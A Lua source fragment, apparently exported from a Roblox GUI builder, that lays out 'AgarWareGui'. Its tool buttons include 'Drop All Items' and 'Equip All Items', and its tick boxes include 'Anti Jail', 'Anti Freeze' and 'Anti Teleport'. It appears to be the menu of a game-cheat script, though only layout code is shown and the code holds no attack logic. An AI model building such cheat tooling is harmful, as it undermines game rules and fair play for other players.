G2L["e3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e3"]["Text"] = [[-]];
G2L["e3"]["Name"] = [[ToolsMinimize]];
G2L["e3"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.DropAllRow
G2L["e4"] = Instance.new("Frame", G2L["de"]);
G2L["e4"]["BorderSizePixel"] = 0;
G2L["e4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e4"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["e4"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e4"]["Name"] = [[DropAllRow]];
G2L["e4"]["LayoutOrder"] = 1;
G2L["e4"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.DropAllRow.DropAllButton
G2L["e5"] = Instance.new("TextButton", G2L["e4"]);
G2L["e5"]["TextSize"] = 14;
G2L["e5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e5"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["e5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e5"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["e5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["e5"]["Text"] = [[Drop All Items]];
G2L["e5"]["Name"] = [[DropAllButton]];
G2L["e5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipAllRow
G2L["e6"] = Instance.new("Frame", G2L["de"]);
G2L["e6"]["BorderSizePixel"] = 0;
G2L["e6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["e6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["e6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e6"]["Name"] = [[EquipAllRow]];
G2L["e6"]["LayoutOrder"] = 1;
G2L["e6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipAllRow.EquipAllButton
G2L["e7"] = Instance.new("TextButton", G2L["e6"]);
G2L["e7"]["TextSize"] = 14;
G2L["e7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["e7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e7"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["e7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["e7"]["Text"] = [[Equip All Items]];
G2L["e7"]["Name"] = [[EquipAllButton]];
G2L["e7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow
G2L["e8"] = Instance.new("Frame", G2L["de"]);
G2L["e8"]["BorderSizePixel"] = 0;
G2L["e8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["e8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["e8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e8"]["Name"] = [[EquipEnlightenRow]];
G2L["e8"]["LayoutOrder"] = 6;
G2L["e8"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow.EquipEnlightenHelp
G2L["e9"] = Instance.new("TextButton", G2L["e8"]);
G2L["e9"]["TextSize"] = 14;
G2L["e9"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["e9"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["e9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["e9"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["e9"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["e9"]["Text"] = [[?]];
G2L["e9"]["Name"] = [[EquipEnlightenHelp]];
G2L["e9"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow.EquipEnlightenButton
G2L["ea"] = Instance.new("TextButton", G2L["e8"]);
G2L["ea"]["TextSize"] = 14;
G2L["ea"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ea"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["ea"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ea"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["ea"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["ea"]["Text"] = [[Equip Enlighten]];
G2L["ea"]["Name"] = [[EquipEnlightenButton]];
G2L["ea"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide
G2L["eb"] = Instance.new("Frame", G2L["c8"]);
G2L["eb"]["BorderSizePixel"] = 0;
G2L["eb"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["eb"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["eb"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["eb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["eb"]["Name"] = [[TCOMainRightSide]];
G2L["eb"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.UIListLayout
G2L["ec"] = Instance.new("UIListLayout", G2L["eb"]);
G2L["ec"]["Padding"] = UDim.new(0, 7);
G2L["ec"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup
G2L["ed"] = Instance.new("Frame", G2L["eb"]);
G2L["ed"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["ed"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["ed"]["Size"] = UDim2.new(0, 170, 0, 183);
G2L["ed"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["ed"]["Name"] = [[AntiGroup]];
G2L["ed"]["LayoutOrder"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiScript
G2L["ee"] = Instance.new("LocalScript", G2L["ed"]);
G2L["ee"]["Name"] = [[AntiScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.UIListLayout
G2L["ef"] = Instance.new("UIListLayout", G2L["ed"]);
G2L["ef"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTitle
G2L["f0"] = Instance.new("TextLabel", G2L["ed"]);
G2L["f0"]["TextWrapped"] = true;
G2L["f0"]["BorderSizePixel"] = 0;
G2L["f0"]["TextSize"] = 14;
G2L["f0"]["TextScaled"] = true;
G2L["f0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f0"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["f0"]["BackgroundTransparency"] = 0.95;
G2L["f0"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["f0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f0"]["Text"] = [[Anti]];
G2L["f0"]["LayoutOrder"] = 1;
G2L["f0"]["Name"] = [[AntiTitle]];
G2L["f0"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTitle.AntiMinimize
G2L["f1"] = Instance.new("TextButton", G2L["f0"]);
G2L["f1"]["BorderSizePixel"] = 0;
G2L["f1"]["TextSize"] = 14;
G2L["f1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f1"]["BackgroundTransparency"] = 1;
G2L["f1"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f1"]["Text"] = [[-]];
G2L["f1"]["Name"] = [[AntiMinimize]];
G2L["f1"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow
G2L["f2"] = Instance.new("Frame", G2L["ed"]);
G2L["f2"]["BorderSizePixel"] = 0;
G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["f2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["f2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f2"]["Name"] = [[AntiNanRow]];
G2L["f2"]["LayoutOrder"] = 3;
G2L["f2"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow.AntiNanTickBox
G2L["f3"] = Instance.new("TextButton", G2L["f2"]);
G2L["f3"]["TextSize"] = 14;
G2L["f3"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f3"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["f3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["f3"]["Text"] = [[]];
G2L["f3"]["Name"] = [[AntiNanTickBox]];
G2L["f3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow.AntiNanText
G2L["f4"] = Instance.new("TextLabel", G2L["f2"]);
G2L["f4"]["BorderSizePixel"] = 0;
G2L["f4"]["TextSize"] = 14;
G2L["f4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["f4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["BackgroundTransparency"] = 1;
G2L["f4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["f4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f4"]["Text"] = [[Anti Maptide NaN]];
G2L["f4"]["Name"] = [[AntiNanText]];
G2L["f4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiAccentColor
G2L["f5"] = Instance.new("Frame", G2L["ed"]);
G2L["f5"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["f5"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["f5"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["f5"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["f5"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["f5"]["Name"] = [[AntiAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow
G2L["f6"] = Instance.new("Frame", G2L["ed"]);
G2L["f6"]["BorderSizePixel"] = 0;
G2L["f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["f6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f6"]["Name"] = [[AntiVisualRow]];
G2L["f6"]["LayoutOrder"] = 3;
G2L["f6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow.AntiVisualTickBox
G2L["f7"] = Instance.new("TextButton", G2L["f6"]);
G2L["f7"]["TextSize"] = 14;
G2L["f7"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f7"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["f7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["f7"]["Text"] = [[]];
G2L["f7"]["Name"] = [[AntiVisualTickBox]];
G2L["f7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow.AntiVisualText
G2L["f8"] = Instance.new("TextLabel", G2L["f6"]);
G2L["f8"]["BorderSizePixel"] = 0;
G2L["f8"]["TextSize"] = 14;
G2L["f8"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["f8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f8"]["BackgroundTransparency"] = 1;
G2L["f8"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["f8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f8"]["Text"] = [[Anti Visual]];
G2L["f8"]["Name"] = [[AntiVisualText]];
G2L["f8"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow
G2L["f9"] = Instance.new("Frame", G2L["ed"]);
G2L["f9"]["BorderSizePixel"] = 0;
G2L["f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["f9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f9"]["Name"] = [[AntiJailRow]];
G2L["f9"]["LayoutOrder"] = 3;
G2L["f9"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow.AntiJailTickBox
G2L["fa"] = Instance.new("TextButton", G2L["f9"]);
G2L["fa"]["TextSize"] = 14;
G2L["fa"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fa"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["fa"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["fa"]["Text"] = [[]];
G2L["fa"]["Name"] = [[AntiJailTickBox]];
G2L["fa"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow.AntiJailText
G2L["fb"] = Instance.new("TextLabel", G2L["f9"]);
G2L["fb"]["BorderSizePixel"] = 0;
G2L["fb"]["TextSize"] = 14;
G2L["fb"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["fb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fb"]["BackgroundTransparency"] = 1;
G2L["fb"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["fb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fb"]["Text"] = [[Anti Jail]];
G2L["fb"]["Name"] = [[AntiJailText]];
G2L["fb"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow
G2L["fc"] = Instance.new("Frame", G2L["ed"]);
G2L["fc"]["BorderSizePixel"] = 0;
G2L["fc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fc"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["fc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["fc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fc"]["Name"] = [[AntiFreezeRow]];
G2L["fc"]["LayoutOrder"] = 4;
G2L["fc"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow.AntiFreezeTickBox
G2L["fd"] = Instance.new("TextButton", G2L["fc"]);
G2L["fd"]["TextSize"] = 14;
G2L["fd"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fd"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["fd"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["fd"]["Text"] = [[]];
G2L["fd"]["Name"] = [[AntiFreezeTickBox]];
G2L["fd"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow.AntiFreezeText
G2L["fe"] = Instance.new("TextLabel", G2L["fc"]);
G2L["fe"]["BorderSizePixel"] = 0;
G2L["fe"]["TextSize"] = 14;
G2L["fe"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["fe"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fe"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fe"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fe"]["BackgroundTransparency"] = 1;
G2L["fe"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["fe"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fe"]["Text"] = [[Anti Freeze]];
G2L["fe"]["Name"] = [[AntiFreezeText]];
G2L["fe"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.RedInfoRow
G2L["ff"] = Instance.new("Frame", G2L["ed"]);
G2L["ff"]["BorderSizePixel"] = 0;
G2L["ff"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ff"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["ff"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["ff"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ff"]["Name"] = [[RedInfoRow]];
G2L["ff"]["LayoutOrder"] = 20;
G2L["ff"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.RedInfoRow.RedInfo
G2L["100"] = Instance.new("TextButton", G2L["ff"]);
G2L["100"]["TextSize"] = 14;
G2L["100"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["100"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["100"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["100"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["100"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["100"]["Text"] = [[Red = Auto Reset]];
G2L["100"]["Name"] = [[RedInfo]];
G2L["100"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow
G2L["101"] = Instance.new("Frame", G2L["ed"]);
G2L["101"]["BorderSizePixel"] = 0;
G2L["101"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["101"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["101"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["101"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["101"]["Name"] = [[AntiVampRow]];
G2L["101"]["LayoutOrder"] = 3;
G2L["101"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow.AntiVampTickBox
G2L["102"] = Instance.new("TextButton", G2L["101"]);
G2L["102"]["TextSize"] = 14;
G2L["102"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["102"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["102"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["102"]["Text"] = [[]];
G2L["102"]["Name"] = [[AntiVampTickBox]];
G2L["102"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow.AntiVampText
G2L["103"] = Instance.new("TextLabel", G2L["101"]);
G2L["103"]["BorderSizePixel"] = 0;
G2L["103"]["TextSize"] = 14;
G2L["103"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["103"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["103"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["103"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["103"]["BackgroundTransparency"] = 1;
G2L["103"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["103"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["103"]["Text"] = [[Anti Vampire]];
G2L["103"]["Name"] = [[AntiVampText]];
G2L["103"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow
G2L["104"] = Instance.new("Frame", G2L["ed"]);
G2L["104"]["BorderSizePixel"] = 0;
G2L["104"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["104"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["104"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["104"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["104"]["Name"] = [[AntiGlitchRow]];
G2L["104"]["LayoutOrder"] = 3;
G2L["104"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow.AntiGlitchTickBox
G2L["105"] = Instance.new("TextButton", G2L["104"]);
G2L["105"]["TextSize"] = 14;
G2L["105"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["105"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["105"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["105"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["105"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["105"]["Text"] = [[]];
G2L["105"]["Name"] = [[AntiGlitchTickBox]];
G2L["105"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow.AntiGlitchText
G2L["106"] = Instance.new("TextLabel", G2L["104"]);
G2L["106"]["BorderSizePixel"] = 0;
G2L["106"]["TextSize"] = 14;
G2L["106"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["106"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["106"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["106"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["106"]["BackgroundTransparency"] = 1;
G2L["106"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["106"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["106"]["Text"] = [[Anti Glitch]];
G2L["106"]["Name"] = [[AntiGlitchText]];
G2L["106"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow
G2L["107"] = Instance.new("Frame", G2L["ed"]);
G2L["107"]["BorderSizePixel"] = 0;
G2L["107"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["107"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["107"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["107"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["107"]["Name"] = [[AntiTeleportRow]];
G2L["107"]["LayoutOrder"] = 3;
G2L["107"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow.AntiTeleportTickBox
G2L["108"] = Instance.new("TextButton", G2L["107"]);
G2L["108"]["TextSize"] = 14;
G2L["108"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["108"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["108"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["108"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["108"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["108"]["Text"] = [[]];
G2L["108"]["Name"] = [[AntiTeleportTickBox]];
G2L["108"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow.AntiTeleportText
G2L["109"] = Instance.new("TextLabel", G2L["107"]);
G2L["109"]["BorderSizePixel"] = 0;
G2L["109"]["TextSize"] = 14;
G2L["109"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["109"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["109"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["109"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["109"]["BackgroundTransparency"] = 1;
G2L["109"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["109"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["109"]["Text"] = [[Anti Teleport]];
G2L["109"]["Name"] = [[AntiTeleportText]];
G2L["109"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage
G2L["10a"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["10a"]["Visible"] = false;
G2L["10a"]["Active"] = true;
G2L["10a"]["BorderSizePixel"] = 0;
G2L["10a"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["10a"]["Name"] = [[MiscPage]];
G2L["10a"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["10a"]["Size"] = UDim2.new(0, 349, 0, 250);
